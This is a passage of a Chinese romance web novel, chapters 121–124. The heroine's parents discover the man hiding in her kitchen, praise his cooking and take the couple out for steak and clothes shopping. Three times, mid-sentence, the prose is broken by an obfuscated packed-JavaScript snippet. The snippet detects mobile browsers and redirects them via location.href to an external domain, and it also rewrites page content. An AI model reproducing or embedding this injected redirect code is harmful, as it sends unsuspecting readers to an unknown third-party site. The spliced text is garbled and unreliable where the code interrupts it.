厨房的食材有限,庄森芽拒绝了诺特斯出门采买的请求,于是他只好在现有的食材上临场发挥。 先是把生米放进电饭锅里去煮,而后炒了一盘最基础的西红柿炒蛋,用保温盖盖住,放在餐桌上。 他又从冷冻柜里翻出来了一些鸡翅,拿微波炉解冻之后,用刀划开口子,用调好的酱汁浸泡,待腌入味了,又放进锅里去焖。 再用一些冰箱里生菜的边角料切了一盘凉菜出来,撒上葱和香菜,倒上盐和醋调味,没有放辣椒。 庄森芽盯着这盘凉菜,心想,竟然还挺合自己的口味的。她不怎么能吃辣,又偏爱酸甜的口味,对葱姜蒜没什么忌口,这样一盘小菜是很不错的开胃菜。 诺特斯把它拌好了,就放在一旁,庄森芽蹭过去,偷偷尝了一口。 ……好吃。 又尝了一口。 不是错觉,真的好好吃。 生菜丝和黄瓜丝切得又细又均匀,调味料的味道轻而易举地就渗透了进去,糖分适宜,酸度均等,吃上一口就停不下来。 诺特斯扫了她一眼,勾了勾嘴角,没说什么,任她偷吃,仿佛先切了这么一盘凉菜就是为了让她解解馋。 他手上功夫不停,一会去切菜,一会又去颠勺,同时处理着好几道菜,所有工序都在有条不紊地进行。 白米饭煮好的时候,其他菜品的程序也都进入了尾声,一盘接一盘的热菜被端上餐桌,就像变魔术一样,从冷硬的食材变成了香喷喷的正餐。 庄森芽看着这一道又一道的菜,有点不敢相信自己的眼睛。 她这辈子没怎么见过别人做饭,最多就是老妈,可是祁欢又是一个做饭慢腾腾的人,每次等她的大餐都要等上两三个小时,虽然饭菜很美味,但等待的时间总是很煎熬。 然而诺特斯一个小时不到就备齐了饭菜,碗筷也在餐桌上摆好了,主食菜肴汤品样样俱全,看起来十分丰盛。 观摩了全程的庄森芽不禁疑惑,这家伙上哪掌握的这么厉害的生活技能…… 121. 厨房里的金龟婿(迫真) 当下,诺特斯在厨房里收拾做饭过程中产生的脏碗筷,她就站在饭桌旁边震惊且沉思。 拿着筷子,看着桌上一盘盘热菜,纠结于该从哪个下口。 而就在这时,突然,家门口传来了开门声。 庄森芽一惊,连忙转头对诺特斯说:“有人回来了,你快回卧室!” 对方十分配合地放下了手中的活计,转身就往外走。 砰! 然而下一刻,他撞在了门框上。 “呃……” “你撞门干嘛呀……!”她绝望地小声呐喊。 诺特斯捂着自己的额头,眼里带着泪光,问她,“石剑醇你没带在身边吗?” 这才反应过来,诺特斯刚才可能是想要隐身离开,但是那块绿莹莹的小石头现在在卧室里,卧室距离厨房并不近,他和能量的源泉之间的连接已经断开了。 “学校那时候我就把它塞进背包里了……” 话没说完,家门已经敞开了。 眼看着人马上就要进来,情急之下,庄森芽连忙把诺特斯塞回厨房里,砰一下子关上了门。 两个身影从外面走进玄关,那是她爸妈,庄洪成和祁欢。 夫妻俩可能是因为闻到了饭菜的香气,纷纷露出疑惑的面容,四下寻觅着。紧接着,他们发现了像根电线杆一样立在厨房门前的女儿,两人皆是有点惊讶。 “呀,闺女怎么回来了。”庄洪成说道。 “今天不上课啦?”祁欢问,她看着桌上那一桌饭菜,脸色更加讶异了,“哟,怎么这么多菜?” 庄森芽干巴巴地笑了笑,像是个守卫一样堵在厨房的门口,“最近学校没什么事情,我就想着回家待几天……这桌是,呃,我点的外卖。” 祁欢把鞋子和外套脱了,凑上前来,拿起筷子就往自己嘴里塞了一口,边吃边惊讶地问,“哪家的厨子手艺这么好,我点外卖这么多年怎么从来没点到过,宝贝快把他家店推给我。” 庄森芽想起自己的手机还在卧室,于是找了个借口应付,“手机没电了,还在充电呢,我等一下就转发给你。” “哎呀,这味道真不错。”祁欢赞叹地说着,去洗了个手又回来了,一副饿得不行的模样,在饭桌前开始大吃大喝。 庄洪成也加入了这个行列,夫妻俩像是从哪长途旅行归来一样,劳累又饥肠辘辘。 “怎么正好两碗饭,闺女,难不成是你特地为我俩准备的?”庄洪成笑问。 庄森芽只好用善意的谎言掩盖真实的行径,“是啊,就是给你们准备的。” 祁欢笑起来,“呦,宝贝这是长大了,知道心疼爸妈了。” “再来吃点啊,怎么一直在厨房门口站着?”庄洪成说。 再在这里像个电线杆一样立着就有点令人起疑了,庄森芽迟缓地移动步伐,在饭桌旁边坐了下来。 坐下来才发现已经没有了自己的筷子,于是又站起来想进厨房去拿,可是饭桌侧对着厨房,视角不偏不倚,一开门就能将里面一览无余。 然而当下,还有个大活人在厨房里呢。 两难之下,她像是个被灌输了矛盾程序的机器人一样,卡在了原地。 “怎么了,没筷子?”庄洪成看到女儿手足无措的样子,意识到她两手空空,于是起身就往厨房走。 “没事,爸,爸!”她连忙薅住了他的胳膊,“我不饿,你们吃吧……” 庄洪成盯着庄森芽,模样有点困惑,像是搞不懂她在想什么,“看你这无精打采的样子,也没像是吃饱饭了啊。” 祁欢也抬起头来打量她,“哎呦,还真是,芽芽你怎么脸都饿瘦了。” 庄洪成听了,撸起袖子就要开厨房门,“闺女你坐着吃,爸再去炒一道菜。” 可能是见饭桌上的饭菜只够两人份,庄洪成跃跃欲试地想要进厨房。 “不用……”庄森芽紧紧地拉着老爸的胳膊,感觉像在牵一头倔强的水牛一样困难,“我真不饿……!爸你快坐下吃饭吧。” “爸知道爸做饭难吃,没事,我做了自己吃,你们吃外卖。”庄洪成的脾气也像一头老牛一样固执。 “不是因为那个,爸啊,你就坐下来吧……”庄森芽欲哭无泪,抱着对方钢筋混凝土一样的胳膊,徒劳地为其增加负重。 庄洪成的身材很结实,繁忙的工作需要健康的体魄,或许就是因为知道这一点,夫妻俩人天天早上都去晨练,风雨无阻。 此刻,庄洪成的手已经搭在厨房门上,他回头看着自己一脸绝望的女儿,最终是卸了力,“好吧,那要不……她妈,你去炒道菜?闺女说什么也不肯让我进厨房。” 另一边,祁欢抹了把嘴,她已经吃了不少,看起来心满意足,把嘴里的东西咽下,这才口齿清晰地说:“等着,妈去做饭,不能让你爸把厨房炸了。” “妈你也别……求你俩了,我真的吃饱了。”她几乎是在哀求。 祁欢完全不理会她怎么说,站起来就往厨房走,“瞅你都瘦成什么样了,风一吹就要散架子似的,妈给你做一道可乐鸡翅,热量爆炸,包你体重一夜回温。” 庄森芽要是在减肥期,听到这种话,准会一闭眼就昏厥过去。 但现在距离昏厥也不远了,原因是这夫妻俩一个两个都想往厨房里钻,可是这个厨房钻不得啊……!里面—— 哗啦。 没等她想好怎么劝阻自己的老妈,就听旁边的厨房门唰一下子被敞开了。 她几乎是有点生无可恋地看过去,果然见到诺特斯光明正大地站在厨房门口。 他脸上挂着温和的笑意,看着夫妻二人,模样近乎乖巧,“好久不见了,叔叔阿姨。” 庄洪成和祁欢看到房间里突然冒出来的人,均瞪大了眼睛,不过都很快认出来了他,指着他却叫不出名字。 “是你,上回来咱们家的那个……”祁欢似乎回忆起了上一次的经历。 “我叫诺特斯。”他自我介绍。 “对对,我记着这个名字。”祁欢很快褪下了惊讶的神情,亲和地笑起来,模样很是欢迎,“我之前还想着你什么时候能再来呢。芽芽,怎么带朋友来了也不说一声。” “呃,我……”她被诺特斯的举动打了一个措手不及,哑口无言。 这家伙干嘛自己突然出现啊,都没经过她的允许,就这么贸然行动,简直胡闹…… 扣分。 扣大分……! 祁欢看见他是从厨房里出来的,又看看桌子上的饭菜,似乎明白了什么,“诺特斯,这一桌子菜其实是你做的吧?” 诺特斯浅笑,没有掩饰,“是。” “我就说嘛,这附近的外卖店都快被我吃遍了,从来就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784407|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝到过这么让人记忆深刻的味道。” “小伙子手艺真不错啊,”庄洪成也说,“我活了这么多年养刁的嘴,一尝你做的菜,就告诉我这一定是个大厨。” 诺特斯十分谦虚,“过奖了。” “哎呀,她爸。”祁欢突然意识到了什么,对自己的丈夫说,“这顿饭原本是人家俩人要吃的吧,咱们却坐下来不由分说胡吃海喝起来了。” 庄洪成似乎也意识到了这点,看了看桌子上几个见底的盘子,上面的菜基本都剩了点渣,于是转头豪迈地对诺特斯说:“上次你来我们家,我招待不周,说了下次一定要好好款待。走,咱们现在就到外面下馆子去!” 这几个人你来我往一来二去聊得火热,事态看起来在往不可控的方向发展,庄森芽连忙叫停,“爸,你哪来的钱请客呀。” 庄洪成听女儿这么一说,顿时结巴了一下,梗着脖子,一副不服输的模样,“没、没钱怎么了,你妈拿钱。” “你们不是都吃饱了吗,还出去吃什么,我跟他自己解决就是了。”她说。 被父母发现诺特斯的存在已经够糟糕了,还要一起结伴出门?她不敢想会出怎样的乱子。 “不行,大丈夫一言既出驷马难追,我承诺了——” 庄洪成没说完,就被一旁的祁欢打断了。 妻子戳了一下丈夫的肩膀,用眼神暗示对方,嘴上轻声说道:“人家想享受二人世界,你就别凑热闹了。” 庄洪成露出恍然大悟的表情,立马改口,“——承诺了……也不是非得今天。这周末吧,等芽芽上完课回来,咱们就出去吃一顿,我请客!” 庄森芽却露出有些为难的表情。 诺特斯偏过头来注视着她,似乎明白她在因为什么而为难,而默默静待着她接下来要说的话。 祁欢敏感地觉察到了女儿的欲言又止,朝她问道:“怎么了?” “……我这一周都不去学校了。” 夫妻俩一听,都困惑地眨眨眼。 庄洪成问:“学校放假了?” 庄森芽摇摇头,“不是。” “你身体不舒服吗?”祁欢问。 “也没有。”庄森芽垂下眼睛,对于主动不去上课、耽误学业这种事情,她有种负罪感,尤其是在爸妈的面前,“就是不想去了……不过课业我会在家补上的,不会落下,所以放心……” 夫妻俩对视一眼,脸上是有些担忧的神色。 祁欢说:“宝贝,要是在学校遇到了什么,要跟爸妈说。” “是不是有人欺负你了?”庄洪成也问。 “没有。”她犹豫着,不想把自身那些遭遇告诉爸妈,导致他们露出更为忧虑的神色,“就是……想稍微休息一下。” 看到女儿怎么也不愿意说,夫妻俩也不再追问下去。庄洪成思索片刻,大手往餐桌上一拍,“正好我这周也没什么患者,她妈,咱闺女有时间,要不去近郊哪里玩两天?” 祁欢似乎对这个提议兴致颇高,“行啊,带她出去转换转换心情也好。” 庄森芽听到这里,心里咯噔一声。 她对这一周的预期是,缩在自己的小房间里,开着空调裹着棉被吃西瓜,制定计划自律学习,累了就躺着刷手机追剧,这是她恢复精力最快的方式。 出去玩?出去玩只会让她更加疲惫。 122. 高端猎手怎会没有小白兔面具 从小学开始,一到放假,夫妻俩最喜欢做的事情就是拉着自己不爱动弹的宝贝女儿四处旅游,庄森芽不记得自己去过多少地方,那些景色走马观花一样掠过她的视野,连点皮毛都没记住。 单纯的旅游对她来说是折磨,只有带着目的的旅游才能让人精力充沛,比如为自己的漫画事业实地取景之类的。 可她又不想扫了爸妈的兴致,于是委婉地说:“我快要期末考试了,课业说实话还挺繁重的……这些天在家,我想自己看课件资料,要是出去玩的话时间就有点太紧张了……” 听到自己的女儿这么热爱学习,庄洪成露出感动的表情,“说的也是,玩乐怎么也不能耽误学业,旅游还是安排在更合适的时候吧,正好你也快放假了。” 这时候,祁欢像是突然想起来旁边还有一个人,对诺特斯说,“诺特斯,那你这些天都去哪呀。” “我……”他看了庄森芽一眼,后者吹鼻子瞪眼递给他一个眼神,意思是叫他掂量着说话。 诺特斯收到了视线,微微点点头,表示他明白了,转而对祁欢说:“她这两天心情不好,我留下陪她。” 啊啊啊,不是这句! 庄森芽在内心哭嚎。 诺特斯这个笨蛋,怎么想都应该说‘只是临时过来看她一眼,还有别的事要忙’才对吧! 他应该把自己的存在感降到最低,而不是反过来! 祁欢问他,“那你这几天住在哪?” “呃……”诺特斯一脸难为情,也不知道是真的还是装的,就仿佛祁欢这句话问到了重点,不问的话还能蒙混过关,问出来就只能另做打算了,“……我出去住。” “那怎么行呢?”祁欢露出不赞成的表情,“你是为了芽芽才留下的,怎么能让你出去住呢。她爸,要不我俩住公司去,把房间腾出来……” “千万不用。”诺特斯说。 “不行。”庄森芽也同时张口,“我睡客厅就是了,让他住我的房间。” ……等等,怎么莫名其妙就发展成了诺特斯要在家里留宿? 诺特斯却反对这个提议,他往庄森芽旁边凑了凑,两人站在厨房门口,从刚才开始聊了半天都没动地方,“客厅在晚上会冷吧?还是我去睡沙发,我体温高。” 听到他这么说,庄森芽的意识有点飘远了。 诺特斯体温确实高,每次触碰的时候都感觉是对方的热量在传递过来。 她没觉得自己是个体寒的体质,虽然不怎么运动,但却断定自己身体非常健康。 可在诺特斯面前却相形见绌,衬得自己像是冷藏柜里呆久了似的,体温总是低他几个度。 思绪不自觉想到了一些不太正经的画面上去,庄森芽摇摇脑袋,把它们甩出去,动作却让旁边的人产生了误解。 “连沙发都不让我睡,那我睡地板吗?”诺特斯玩笑似的说。 一旁的祁欢笑起来,招呼诺特斯往客厅走,“诺特斯,我跟你说,我家的沙发可好睡了,我自己经常就在这里过夜,因为她爸睡觉老是打呼噜……” 诺特斯跟了上去,十分自然就接受了睡在客厅的这件事,模样看起来像是要去视察自己新的领地。 庄洪成在听到媳妇的话后,脸上露出震惊的神色,“什么,我打呼噜吗?” 祁欢没搭理他,站在客厅乳白色的皮质沙发旁边,跟诺特斯介绍起来沙发是什么时候买的,面料有多柔软,窗帘一拉比卧室还舒适。 没收到媳妇的回应,庄洪成看向自己的女儿,“闺女,你爸我睡觉打呼噜吗?” 庄森芽移开视线,想起曾经三个人在客厅惬意地呆着的场景,庄洪成总是喜欢躺着看电视,看着看着就睡着,然后就开始擂鼓震天。 她考虑到老父亲的自尊心,支支吾吾地说:“唔……还好吧?” “我就说嘛,”庄洪成一拍大腿,“肯定是你妈小题大做,她睡眠太浅,不能怪我。” 庄森芽挠了挠脸,没告诉他真相。 她不想再进行这个话题,生怕又被老爹盯着询问,于是逃到客厅,装模作样和老妈与诺特斯一起打量着沙发。 “晚上你拉一个纱帘就好,第二天早上太阳一照啊,心情便会无比的舒畅。”祁欢十分热情地向诺特斯阐述注意事项,把她在客厅熟睡的经验全都传授给了他。 诺特斯认真地听着,微微颔首,视线专注,仿佛对方的话是什么圣旨。 庄森芽就在一旁好奇地打量着他,他这副在长辈面前乖巧的样子可不多见,她真想用手机把这一刻拍下来,将来要求他也对自己这么毕恭毕敬。 祁欢嘱付完了,就跑去卧室拿床单和被子,徒留庄森芽和诺特斯两人站在沙发旁边。 她趁这个机会小声对他说:“你还真是大言不惭就留下来了啊。” 诺特斯模样不以为意,“原本的计划不就是要一起行动吗?不然的话,我怎么向你证明我的诚意呢。” 被父母发现可不在计划之中,可是覆水难收,现在也只能顺流而下。 庄森芽沉声警告他,“接下来几天你必须听我的命令行事,不许再擅自做主,像刚才那种突然从厨房里冒出来的贸然举动不可以再发生第二次了……!” 诺特斯耸耸肩,“你妈妈提到了可乐鸡翅,我没忍住,想跟她交流一下烹饪心得来着,结果话题被岔开了。” 还交流烹饪心得,信不信她把他烹了。 “总之不许再有第二次!”她拔高了一些声音。 “好,好。”诺特斯退让三分。 那之后,祁欢回来把沙发上的临时床铺搭好了,夫妻俩又跑去刷盘子,把庄森芽和诺特斯关在了厨房外面,说不用他们帮忙。 于是两人只好回到卧室,这时候还一口饭还都没吃上,肚子饿得咕咕叫,便点了两份外卖,半个小时之后开始狼吞虎咽。 吃饱喝足的时候,房间门被敲响了,祁欢探了个头进来,问晚上要不要一起出去吃饭。 看样子庄洪成还是很在意之前那个‘下次好好招待’的承诺,不兑现的话就急得抓耳挠腮。庄森芽也不希望自己的老爸觉得亏欠诺特斯什么,于是答应了下来。 接下来一个下午,两人都待在卧室里。 庄森芽从专业同学那里要来了课件资料,就坐在桌子旁边自习。 诺特斯管她借了一张纸和一支笔,半靠在床头,盯着窗外时不时愣神,又时不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787265|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在纸上写下什么。 时间一点一滴过去,期间两人都忙着各自的事情。 虽然现在和这家伙形影不离的目的之一是试探他的诚恳,看看他的表现,来决定他最终的归宿,但这种事情不宜操之过急。 这一个月时间说长不长,也说短不短,考验一个人总是需要漫长的时间的。 到了黄昏,祁欢又来敲门,问两个人准没准备好出发。 庄森芽应了声马上准备好,从衣柜里翻出一条围巾,毕竟夜晚的空气总是格外寒凉。 她回头看了一眼诺特斯,其实她衣柜里有一条和他很相称的灰白条纹围巾,搭配他今天的长款黑色外套可以说是点睛之笔。 庄森芽纠结了半晌,还是把它拿了出来。 不能对不起艺术家的直觉,她倒要看看男人围上它之后是不是真的和想象的一样和谐。 “喏。”她来到床边,把围巾递给诺特斯。 男人从沉思中回过神来,垫在大腿上的那张白纸已经密密麻麻写满了文字。 他盯着围巾,模样有点茫然,“给我的?” “戴上。”她要看看效果。 诺特斯似乎刚脱离什么创作的心流,一时变得十分听话,说什么做什么。 他把它接过来,围在了自己的脖子上,绕了一圈,随手抓了两下,就有了一个松松垮垮的造型。 庄森芽满意的盯着他,心想自己的审美果然不错。 原本一身黑的人经过这条灰色围巾的中和,竟变得有种文艺范,仿佛什么□□大佬金盆洗手,变成了街边开图书店的小青年。 诺特斯看到她洋洋自得的脸,会意地笑起来,问她:“我现在看起来是什么样子的?” 庄森芽朝衣柜的方向努努嘴,“你自己看,那边有镜子。” 于是诺特斯把纸笔放在桌子上,下床来到衣柜前,打量着镜子中的自己。 “啊,原来你喜欢这个类型。”他像是明白了什么。 相处久了,她对这种话已经产生了免疫,不会再惊慌失措想要反驳点什么,反而趁机调侃他,“没错,你要是再变得温良一点,听话一点,我说不定就鬼迷心窍,真的喜欢上你了。” 说实话,她有点不知道自己在说什么。 只是顺着心意就把话说出口了,说完了甚至觉得有点忐忑,就好像一个逞强的小兵,勉强扮演着国王的角色,内源处都散发着慌张的不自信感。 诺特斯一声轻笑,调整了一下围巾的长短,“看来我要一辈子戴着它了。” 就算是虚假的国王也要有模有样,庄森芽盯着镜子里的他,眼角挤出调笑的意味,“这么希望我喜欢你?” 诺特斯的视线垂落下来,金棕色的眼睛像掺了蜜酒一样浓稠,“你猜呢?” 她唯恐陷进那双眼中,视线交错,转身就往卧室门的方向走,“我才懒得猜呢。你准备好了我们就出发。” 心跳在暗中不由自主地加速,甚至连本人也察觉不到,可是它带来的反应却是真实存在的,使人不安,又使人跃跃欲试。 这种感觉很奇怪,像在过独木桥,明明左右摇摆,稍有不慎就会坠落,然而却不怕死似的偏要过这道桥。 123. 优雅能当饭吃? 来到客厅,发现四个人都准备好了,于是离开家,坐上地库的车。车由庄洪成来开,祁欢坐在副驾驶,庄森芽和诺特斯就坐在后排。 路上,祁欢向诺特斯打探道,“诺特斯,你平时是做什么的呀?” 几人见过两面,可是这对夫妻对这个黑头发深色皮肤的外国人还不是很了解,庄森芽称他为朋友,这是为数不多的身份介绍。 诺特斯回答祁欢,“我是一个希腊乐队的主唱,平时也做点自己的事情。” 庄森芽盯着他。 自己的事情是指什么,她怎么从来没听说过,真的在做吗?真的不是在往自己脸上贴金,好显得不像是个无所事事的无业游民? 祁欢眼睛亮亮的,对主驾驶的人说:“她爸,我猜对了把,我就说他不是学生。” 庄洪成似乎和老婆打过什么赌,此刻为自己辩解道:“芽芽说他是她的朋友,那我自然而然就以为诺特斯是大学的学生吗……而且我也对外国人的脸不熟,猜不出他们都是多大年纪……” 祁欢转过头来看着后座的诺特斯,眼里是好奇的神色,“你是乐队的主唱啊,那平时没少周游各国吧?” “的确去过一些地方。” “你都唱过什么歌?” “都是些不知名的。”他谦虚地说,“在这里比较出名的可能是那首《FirstGlance》。” “噢……”祁欢拉长了语调,一副恍然大悟的模样,可那样子怎么看其实都并没有听过这首歌,她很快转移了话题,“你大学是在希腊念的吗?” “不是,是在……其他的国家。”诺特斯说话的时候明显犹豫了一瞬。 庄森芽在一旁听着,心里嘀咕:还念大学呢,这家伙可能初高中都没上过。 “那你是怎么和我们家芽芽认识的呀?”齐欢一个问题接一个问题抛出来。 诺特斯没有立刻回答,而是看向庄森芽,一副她来决定说不说的模样。 庄森芽出面制止了祁欢的追问,“妈,人家都要被你问烦了。” “哎哟,不好意思。”祁欢乐呵呵地转了回去,“难得见到外国帅哥,忍不住想聊两句吗。” 庄洪成在主驾驶上咳嗽了一声,似乎意有所指。 而庄森芽也感到有点无语,从第一次这个诺特斯进家门开始,她就发现了,自己的老妈似乎非常偏爱他,倒也不是男女之间的那种喜爱,而是在小孩堆里见着一个长得别样的亮眼娃娃,忍不住要逗弄几番那种心情。 不过也只是感到有点无奈而已,庄森芽知道老妈是不会胳膊肘往外拐的,没有什么能打得过血缘关系,自己永远是她最亲的女儿。 诺特斯这个半路杀出来的野孩子,是不可能在她家上位的……! 等等,怎么好像说得他们好像已经是一家人了似的…… 不对不对。 庄森芽连忙把这种想法晃出了脑袋。 车辆走走停停,最终来到了附近最大的商场。 庄洪成挑了一家高档牛排店,没问过别人的意见,可能是对自己选的店十分有信心。 店面的装修十分低调气派,和灯光璀璨的商场不同,里面的光线有些暗,刚进去的时候甚至有些看不清内部的装潢。 他们订了个小包间,四个人坐进去,点完了餐,在等待上菜的过程中谈天说地。 庄森芽不知道哪有那么多好聊的,可是话语声自从进了包间就没有停下来过,她不让爸妈深挖诺特斯的背景,他们就聊自己的事情,聊仿生公司的困境,叽里哇啦把家里那么点事全说出来了。 庄洪成从他如何白手起家开始,一直讲到公司的繁荣,最后到这两年的没落。上了年纪的男人似乎总是很爱聊这些,她的老爹也不例外。 “所以,森芽报考生物医学工程专业,也是二位希望她能够继承家里的事业?”诺特斯问。 “那倒不是,是她自己的主意。”庄洪成摆摆手,“你也帮忙劝劝我闺女,我和她妈已经跟她说了好多遍了,没必要继承我们这点东西。公司现在都已经是这副模样,难道要她刚毕业就背负上一个要倒闭的累赘吗?” “是呀,这孩子怎么跟她说都不听。”祁欢也应和着,时不时还瞥庄森芽两眼,“我们叫她想学什么专业就学什么专业,可是她偏不干。诺特斯,她还有半个多学期就要上大二了,在这之前你可要说服她换专业啊。” 庄森芽听了只觉得心里别扭,干嘛一个两个都指望诺特斯来说服她?这是她自己的决定。而且帮助家里排忧解难有什么不对? “你们跟他说也没用,”庄森芽声色冷硬,“他改变不了我的想法。” “唉。”庄洪成叹息一声,看模样是对自己的女儿没办法,“要是公司经营得好,让你掺和进来也不是不行,但关键是现在状况很糟糕……” 聊到这里,庄洪成又有侃侃而谈的架势,似乎有要把这些年遇到的问题全都梳理一遍的势头。 他说话的时候别人基本插不上嘴,就在庄森芽以为又要接受二十分钟的低音波攻击——她老爸嗓子很浑厚,声音又低,说话的时候像在咆哮——的时候,服务员推开了包间的门,九分熟的牛肉递了上来,成功封住了庄洪成的嘴。 终于到了用餐的环节,庄森芽苦等此刻已久。 她顾不得什么吃牛排的礼仪,拿叉子叉起一块就往嘴里塞,结果酱汁沾了满嘴,肉断筋连,半天都没咬下来一块。 旁边,诺特斯看了她一眼,而后慢条斯理把自己盘子里的牛排切成一个个方便咀嚼的小块,最后把那盘切好的递到了庄森芽眼前。 叼着一整块牛肉的庄森芽看了看眼前的牛排,方块整齐地排列着,像经过大厨精妙的摆盘。她又看了眼诺特斯,心里琢磨着他的用意。 对方拿起她的空盘子,托在她嘴巴下面,“你这样是咬不断的,松口吧。” 到现在她算是看明白了,这家伙又想在自己父母面前献殷勤。 但没有制止的理由,她对一盘切好的可以即刻享用的牛排没有抵抗力。 于是庄森芽照他说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794600|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做,松了口,大片牛肉啪叽一下掉在白盘子里。诺特斯把那盘子放在自己眼前,上面是一块带着明显牙印的牛排,他表现得一点也不介意。 对面的夫妻俩看到二人的互动,开始你捅我一下,我捅你一下,俩人半句话都没说,却十分默契地用肢体语言交流着什么。 诺特斯没有立刻去处理自己盘子里的那块‘受伤’的牛排,而是转而向祁欢伸出手去,“我来切吧。” 祁欢捂着自己的半边脸,受宠若惊,“你要帮我吗?” “我平时经常吃这些西餐,处理得稍微快一点。”诺特斯说,“或者您要是想体验切牛排的乐趣,我就不献丑了。” 祁欢连忙把盘子递上来,“那就交给你了。” 诺特斯像个大厨一样,动作十分优雅地将牛排切块,他似乎十分熟悉牛肉的肌理,看起来几乎没怎么费力。 又是一盘精致的牛排切好了,他把它递到祁欢的眼前,后者赞叹地‘哇’了一声,给足了诺特斯面子。 “也帮我切一下。”庄洪成见状,递上自己的盘子凑热闹。 “好的。”诺特斯来者不拒。 他俨然变成了流水线上的工人,一盘又一盘地处理着食材,刀工精湛,动作熟练迅速,快到几乎都能留下残影。 庄森芽已经吃了半天了,诺特斯还在一旁切牛排,尽职尽责得像是一个体贴的服务员。 她打量着他,心想这个吃货为了做样子居然能做到这个程度,自己盘子里的一口未动,却给别人忙活了半天,真是为难他了。 不过她一点为他说话的打算都没有,这是他自找的,非要在所有人面前露一手,活该所有的牛排都归他切。 庄森芽丝毫没有负罪感地打扫干净自己的一盘,又喝着新上的罗宋汤,惬意极了。 终于给庄洪成也处理好了,诺特斯毕恭毕敬地递过去,夫妻俩现在看他的神情都带着一丝赞赏。 庄森芽看在眼中,在心里嘀咕。 可恶,又被他给装到了。 这顿饭他们消灭得很快,吃饭的时候都很安静,倒也不是因为有什么严格的家规,只是嘴里塞着东西的时候腾不出地方来说话。 酒足饭饱之后,时间还早,祁欢提议在商城里逛逛,正好最近已经很久没买衣服了。 庄森芽遥想当年,老妈的衣服都是定制的,可是时间流转,家庭动荡,生活档次下降了好几个层次,她也不得不去那些连锁的平价大牌服装店挑选极有可能撞衫的衣物了。 如果可以的话,她真的希望老妈能过上以前那种不用为了省吃俭用而费尽心思的生活,所以她才报考了医学专业,希望能为家里的公司尽一份力。 夫妻俩总是说让她选自己想上的专业,但她其实没什么想法,唯一的追求就是画画,对大学那些专业都没什么兴趣,所以学什么对她来说都一样。 生物医学是她的选择,并非出于无奈,而是一个主动的选择。他们让她选择自己想上的专业,而这个听起来枯燥的专业她想上的,仅此而已。 124. 全家福 几人来到一层,停在一家大牌连锁服装店前,祁欢兴致冲冲地就冲了进去,消费的降级似乎并没有使她受挫,不管什么品牌的服装都乐于接受,或许就是因为这样的心态,即便是在公司没落之后,他们家庭的氛围也一直还算不错。 她钻进服装店就像小鱼入了海,一眨眼就不见了踪影,而另外三个人就在一起慢悠悠地逛着。 下次再见到的时候,祁欢已经拎着一个装满了衣服的购物袋,打算冲进试衣间了。 衣服还够穿,庄森芽就没什么想买的,于是来到试衣间门口等老妈,在她每换一套衣服出来之后给她点中肯的评价。 终于,祁欢选出两套心仪的冬装,可又因为价格放回去一套,这才去前台排队结账。 在收银台附近等待的时候,诺特斯朝庄森芽走了过来,一个黑金色的物件从眼前晃而过,庄森芽的目光追随而去,发现是一张信用卡。 “干嘛。”她问他。 “请我吃了那么丰盛的牛排,我总得有点表示吧。” “我们家可不花你的钱。”她表示拒绝。 “怎么了,怕欠我人情?” “我不在乎。” 诺特斯笑眯眯的,仿佛看穿了她的心思,“那就是担心你爸妈会太中意我。” “谁那么……”她嘟囔一声,却无法反驳。 好吧,的确是有这个顾虑。 她不怕自己欠诺特斯的人情,就怕诺特森卖人情给她的爸妈。 她可以做一个不还人情的无赖,但以爸妈的性格来说,他们可做不到像自己的女儿一样。 这两人无偿也要给患者治病,性格摆在那,要他们欠谁的情,比让他们破产还难受。 “你可以不和她说这是我的卡,就当是你画了漫画赚了钱,想要孝敬父母。”说着,诺特斯递上来一套浅褐色的纯棉外套,是刚才被祁欢忍痛割舍的一件。 庄森芽抬眼打量对方,发觉他目光是诚恳的。 思索片刻,她做出了决定。 白来的钱不花白不花。 而后,她没说什么,嗖一下从他指缝间抽出那张黑金色的信用卡,又抱走了老妈看上的衣服,来到祁欢身旁,正好收银员正在给衣服扫码、确认金额,庄森芽把怀里的那件浅褐色外套往收银台上一放,又信手一挥,把信用卡递上去。 祁欢有些诧异地看着她,“这是干嘛?” 她昂着脑袋,一副不屑的模样,“诺特斯的卡。” 她可不是借别人的光给自己脸上贴金的那种人。 祁欢听了,有些诧异地回头,看了远处等待的诺特斯一眼,而后又转过头来盯着自己的女儿,用胳膊肘碰了碰她,低声问:“你们已经到了这个阶段吗?” 庄森芽没听懂,皱皱眉,“什么?” “他已经开始把他的工资都上交啦?” 庄森芽的手一抖,黑金色的信用卡差点掉下去,幸亏及时被对面的收银员接走了。 